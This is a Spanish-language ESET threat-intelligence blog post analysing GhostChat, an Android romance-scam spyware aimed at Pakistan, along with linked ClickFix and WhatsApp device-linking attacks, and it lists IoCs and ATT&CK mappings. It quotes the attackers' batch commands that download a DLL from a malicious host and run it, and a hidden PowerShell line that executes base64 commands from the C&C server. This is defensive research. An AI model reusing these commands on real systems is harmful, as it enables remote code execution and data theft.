Los investigadores de ESET descubrieron una campaña de spyware para Android que aprovecha tácticas de estafa romántica para captar personas de Pakistán. La campaña utiliza una aplicación maliciosa que se hace pasar por una plataforma de chat que permite a los usuarios iniciar conversaciones con determinados perfiles femeninos que, en realidad, serían cuentas falsas operadas a través de WhatsApp.
Detrás de la fachada romántica, el verdadero propósito de la aplicación —a la que hemos llamado GhostChat— es la filtración de los datos de la víctima, tanto en la primera ejecución como de forma continua mientras la aplicación está instalada en el dispositivo.
La campaña utiliza un nivel de engaño que no habíamos observado en esquemas similares: los perfiles falsos de GhostChat se presentan a las víctimas potenciales como bloqueados y requieren un código de acceso. Sin embargo, estos códigos de acceso están hardcodeados en la aplicación, lo que evidencia que se trata solo de una táctica de ingeniería social para crear la impresión de “acceso exclusivo”. Aunque no sabemos cómo se distribuye la aplicación maliciosa, suponemos que esta táctica de exclusividad se utiliza como parte del señuelo, con los supuestos códigos de acceso distribuidos junto con la aplicación.
Una investigación más profunda reveló que el mismo actor de amenazas parece estar llevando a cabo una operación de espionaje más amplia, que incluye un ataque ClickFix que comprometió las computadoras de las víctimas y un ataque que aprovecha la función de vinculación de dispositivos de WhatsApp para obtener acceso a sus cuentas de WhatsApp, lo que amplía el alcance de la vigilancia. Estos ataques relacionados utilizaban como señuelo sitios web que se hacían pasar por organizaciones gubernamentales pakistaníes.
GhostChat, detectado por ESET como Android/Spy.GhostChat.A, nunca estuvo disponible en Google Play. Como socio de App Defense Alliance, compartimos nuestros hallazgos con Google. Los usuarios de Android están protegidos automáticamente contra las versiones conocidas de este spyware por Google Play Protect, que está activado por defecto en los dispositivos Android con Google Play Services.
Puntos clave de este blogpost:
- Los investigadores de ESET descubrieron una campaña de spyware para Android que utiliza tácticas de estafa romántica para dirigirse a personas de Pakistán.
- GhostChat, la aplicación maliciosa utilizada en la campaña, se hace pasar por una plataforma de chat de citas con perfiles femeninos aparentemente bloqueados con códigos de acceso que, en realidiad están harcodeados en la aplicación; se trata sólo de un truco para crear la impresión de acceso exclusivo.
- Una vez instalado, el spyware GhostChat habilita la vigilancia encubierta, que permite al actor de la amenaza monitorizar la actividad del dispositivo y filtrar datos confidenciales.
- Nuestra investigación reveló otras actividades llevadas a cabo por el mismo actor de la amenaza: un ataque relacionado con ClickFix, que engaña a los usuarios para que ejecuten código malicioso en sus computadoras; y un ataque a WhatsApp que aprovecha la función de vinculación de dispositivos de la aplicación para acceder a los mensajes personales de las víctimas.
Resumen
El 11 de septiembre de 2025, una aplicación Android sospechosa fue subida a VirusTotal desde Pakistán. Nuestro análisis reveló que, aunque la aplicación utiliza el icono de una aplicación de citas legítima, carece de la funcionalidad de la aplicación original y, en su lugar, sirve como señuelo —y herramienta— para el espionaje móvil.
La aplicación maliciosa, a la que hemos llamado GhostChat, nunca ha estado disponible en Google Play y requería la instalación manual por parte de los usuarios, que tenían que habilitar los permisos para instalar aplicaciones de fuentes desconocidas. Una vez instalada la aplicación, sus operadores pueden monitorizar y extraer datos confidenciales del dispositivo de la víctima.
Aunque la campaña parece estar centrada en Pakistán, actualmente carecemos de pruebas suficientes para atribuirla a un actor de amenazas específico.
Flujo del ataque
Como se ilustra en la Figura 1, el ataque comienza con la distribución de GhostChat, una aplicación maliciosa para Android (nombre del paquete com.datingbatch.chatapp) disfrazada para aparecer como una plataforma de chat legítima llamada Dating Apps sin pago; esta aplicación legítima está disponible en Google Play y no está relacionada con GhostChat más que a través de esta última utilizando su icono. El origen y el modo de distribución de Ghostchat siguen siendo desconocidos.
Tras su ejecución, GhostChat solicita varios permisos, como se puede ver en la Figura 2. Una vez concedidos los permisos, la aplicación presenta al usuario una pantalla de inicio de sesión. Para continuar, las víctimas deben introducir sus credenciales de inicio de sesión, como se muestra en la Figura 3.
Al contrario de cómo funcionaría normalmente una verificación legítima, las credenciales están hardcodeadas en el código de la aplicación, como se ve en la Figura 4, y no son procesadas por ningún servidor. Esto implica que tanto la aplicación como las credenciales se distribuyen juntas, probablemente por el actor de la amenaza.
Una vez iniciada la sesión, a las víctimas se les presenta una selección de 14 perfiles femeninos, cada uno de ellos con foto, nombre y edad. Todos los perfiles están marcados como Bloqueados, y al pulsar sobre uno de ellos se pide a la víctima que introduzca un código de desbloqueo, como se ve en la Figura 5.
Estos códigos de desbloqueo también están hardcodeados y no se validan de forma remota, lo que sugiere que probablemente se comparten previamente con la víctima. Cada perfil está vinculado a un número de WhatsApp específico con un código de país pakistaní (+92). Los números están integrados en la aplicación, como se ve en la figura 6, y no pueden modificarse a distancia. Esto sugiere que el operador posee varias tarjetas SIM pakistaníes o tiene acceso a un proveedor externo que las vende. El uso de números locales refuerza la ilusión de que los perfiles son personas reales establecidas en Pakistán, lo que aumenta la credibilidad de la estafa.
Al introducir el código correcto, la aplicación redirige al usuario a WhatsApp para iniciar una conversación con el número asignado, presumiblemente operado por el actor de la amenaza.
Mientras la víctima interactúa con la aplicación, incluso antes de iniciar sesión, el spyware GhostChat se ejecuta en segundo plano y supervisa silenciosamente la actividad del dispositivo y filtra datos confidenciales a un servidor de C&C; véase la figura 7.
Más allá de la exfiltración inicial, GhostChat se dedica al espionaje activo: configura un observador de contenidos para supervisar las imágenes recién creadas y las carga a medida que aparecen. Además, programa una tarea periódica que busca nuevos documentos cada cinco minutos, lo que garantiza la vigilancia continua y la recopilación de datos.
La exfiltración inicial de datos incluye el ID del dispositivo, la lista de contactos en forma de archivo .txt (subido al servidor C&C desde la caché de la aplicación) y los archivos almacenados en el dispositivo (imágenes, PDF, archivos Word, Excel, PowerPoint y formatos de archivo Open XML).
Actividades relacionadas
Durante nuestra investigación, identificamos actividades relacionadas y descubrimos una conexión: un archivo DLL, como se ilustra en la Figura 8.
Un análisis más detallado del servidor de C&C utilizado por GhostChat reveló tres archivos adicionales que se comunicaban con el mismo servidor y que se subieron a VirusTotal; véase la Figura 9. Estos archivos incluyen dos scripts por lotes y un archivo DLL. Se trata de dos scripts por lotes y un archivo DLL.
Los archivos batch estaban diseñados para descargar y ejecutar un payload DLL desde la URL https://hitpak.org/notepad2[.]dll. En el momento del análisis, la DLL ya no estaba disponible en el servidor, pero la intención era claramente entregar y ejecutar malware en la máquina de la víctima. A continuación se muestra un fragmento del script:
echo powershell -Command “Invoke-WebRequest -Uri 'https://hitpak[.]org/notepad2.dll' -OutFile '%TEMP%\notepad2.dll'"
echo timeout /t 10
echo rundll32.exe “%TEMP%\notepad2.dll”,notepad
Ataque ClickFix
El tercer archivo —un archivo DLL alojado en https://foxy580.github[.]io/koko/file.dll— sirvió como carga útil en otro ataque basado en ClickFix. ClickFix es una técnica de ingeniería social que engaña a los usuarios para que ejecuten manualmente código malicioso en sus dispositivos siguiendo instrucciones aparentemente legítimas. ClickFix se basa en la interacción del usuario —a menudo a través de sitios web engañosos o falsas alertas— para guiar a las víctimas en la descarga y ejecución de scripts maliciosos. Este ataque utilizó un sitio web falso que se hacía pasar por el Equipo de Respuesta ante Emergencias Informáticas de Pakistán (PKCERT), ubicado en https://buildthenations[.]info/PKCERT/pkcert.html, como se muestra en la Figura 10.
El sitio mostraba una advertencia de seguridad inventada que supuestamente afectaba a infraestructuras nacionales y redes gubernamentales, e instaba a los usuarios a hacer clic en un botón Update. Esta acción activaba las instrucciones ClickFix, como se ve en la Figura 11, que conducían a la descarga y ejecución de la DLL maliciosa. La campaña fue identificada públicamente por un autodenominado investigador de seguridad __0XYC__ en X.
Archivo.dll
El payload DLL utilizado en la campaña ClickFix muestra un comportamiento clásico de C&C centrado en la ejecución remota de código. Una vez cargada, la DLL inicia la comunicación con su servidor de C&C enviando el nombre de usuario y el nombre de equipo comprometido a:
https://hitpak[.]org/page.php?tynor=<ComputerName>sss<Username>.
Si la DLL no consigue recuperar ni el nombre de usuario ni el nombre del equipo, los reemplaza por marcadores de posición predeterminados (UnUsr probablemente para usuario desconocido y UPC para equipo desconocido), asegurándose de que la solicitud llega al servidor.
Tras este intercambio inicial, la DLL entra en un bucle continuo, realizando peticiones al servidor de C&C cada cinco minutos, en espera de instrucciones. El servidor responde con un comando PowerShell codificado en base64, que la DLL ejecuta utilizando el siguiente método:
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command “[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('<data_from_C&C>')) | Invoke-Expression"
Este enfoque permite al operador ejecutar comandos PowerShell arbitrarios en el equipo de la víctima sin activar alertas visibles, aprovechando la flexibilidad y las capacidades de ocultación de PowerShell.
En el momento del análisis, el servidor de C&C no respondió con ningún payload de PowerShell, lo que sugiere que la campaña se encontraba en una fase inactiva o que el servidor estaba esperando identificadores específicos de la víctima antes de emitir los comandos.
Ataque de enlace a WhatsApp
Además del ataque ClickFix que apuntaba a equipos de escritorio, el dominio buildthenations[.]info se utilizó en una operación dirigida a usuarios de WhatsApp. Se atraía a las víctimas para que se unieran a una supuesta comunidad —que se hacía pasar por un canal del Ministerio de Defensa de Pakistán (figura 12)— escaneando un código QR para vincular su dispositivo Android o iPhone a WhatsApp Web o de escritorio.
Conocida como GhostPairing, esta técnica permite al adversario acceder al historial de chat y a los contactos de la víctima, adquiriendo el mismo nivel de visibilidad y control sobre la cuenta que el propietario, comprometiendo de forma efectiva sus comunicaciones privadas. Esta no es la primera vez que vemos a actores de amenazas intentando secuestrar las cuentas de mensajería de las víctimas. En 2023, el grupo APT GREF, alineado con China, utilizó el malware BadBazaar para Android con el fin de vincular de forma automática y secreta las cuentas Signal de las víctimas al dispositivo del atacante, lo que le permitió espiar las comunicaciones Signal de sus víctimas.
Tras escanear el código QR presentado por el falso sitio web del Ministerio de Defensa, la víctima observará, como era de esperar, que un nuevo dispositivo había sido vinculado a sus cuentas de WhatsApp. Transcurrido un tiempo, WhatsApp también envía notificaciones a las víctimas, alertándolas de que un nuevo dispositivo había sido vinculado a sus cuentas, tal y como se observa en la Figura 13.
En conjunto, estos resultados sugieren una campaña coordinada y multiplataforma que combina ingeniería social, distribución de malware y espionaje en entornos móviles y de escritorio.
Conclusión
Esta investigación revela una campaña de espionaje muy selectiva y polifacética dirigida a usuarios de Pakistán. Su núcleo es una aplicación maliciosa para Android disfrazada de aplicación de chat, que emplea una novedosa táctica de estafa romántica que requiere credenciales y códigos de desbloqueo para iniciar la comunicación, un nivel de esfuerzo y personalización poco habitual en las amenazas móviles.
Una vez instalada, la aplicación extrae datos confidenciales de forma silenciosa y vigila activamente el dispositivo en busca de nuevos contenidos, lo que confirma su papel como herramienta de vigilancia móvil. La campaña también está conectada a una infraestructura más amplia que implica la distribución de malware basado en ClickFix y técnicas de secuestro de cuentas de WhatsApp. Estas operaciones aprovechan sitios web falsos, la suplantación de autoridades nacionales y la vinculación engañosa de dispositivos mediante códigos QR para comprometer tanto plataformas de escritorio como móviles.
Para cualquier consulta sobre nuestra investigación publicada en WeLiveSecurity, por favor contáctenos en threatintel@eset.com.ESET Research ofrece informes privados de inteligencia APT y fuentes de datos. Para cualquier consulta sobre este servicio, visite la página de ESET Threat Intelligence.
IoCs
Puede encontrar una lista completa de indicadores de compromiso (IoCs) y muestras en nuestro repositorio GitHub.
Archivos
| SHA-1 | Filename | Detection | Description |
| B15B1F3F2227EBA4B69C |
Live Chat.apk | Android/Spy.GhostChat.A | Android GhostChat spyware. |
| 8B103D0AA37E5297143E |
file.dll | Win64/Agent.HEM | Windows payload that executes PowerShell commands from the C&C. |
Red
IP
Domain
Hosting provider
First seen
Details
188.114.96[.]10
hitpak[.]org
Cloudflare, Inc.
2024‑12‑16
Distribution and C&C server.
Técnicas ATT&CK de MITRE
Esta tabla se construyó utilizando la versión 17 de las técnicas móviles ATT&CK de MITRE.
| Tactic | ID | Name | Description |
| Persistence | T1398 | Boot or Logon Initialization Scripts | GhostChat receives the BOOT_COMPLETED broadcast intent to activate at device startup. |
| T1541 | Foreground Persistence | GhostChat uses foreground persistence to keep a service running. | |
| Discovery | T1426 | System Information Discovery | GhostChat can extract the device ID. |
| Collection | T1533 | Data from Local System | GhostChat can exfiltrate files from a device. |
| T1636.003 | Protected User Data: Contact List | GhostChat can extract the device’s contact list. | |
| Command and Control | T1437.001 | Application Layer Protocol: Web Protocols | GhostChat can communicate with the C&C using HTTPS requests. |
| Exfiltration | T1646 | Exfiltration Over C2 Channel | GhostChat exfiltrates data using HTTPS. |
Esta tabla se ha creado utilizando la versión 17 de las técnicas ATT&CK para empresas de MITRE.
| Tactic | ID | Name | Description |
| Execution | T1059.001 | Command and Scripting Interpreter: PowerShell | Windows agent can execute PowerShell commands received from the C&C server. |
| Discovery | T1082 | System Information Discovery | Windows agent collects the computer name. |
| T1033 | System Owner/User Discovery | Windows agent collects the username. | |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | Windows agent can communicate with the C&C using HTTPS requests. |
| T1132.001 | Data Encoding: Standard Encoding | Windows agent receives base64 encoded PowerShell commands to execute. |







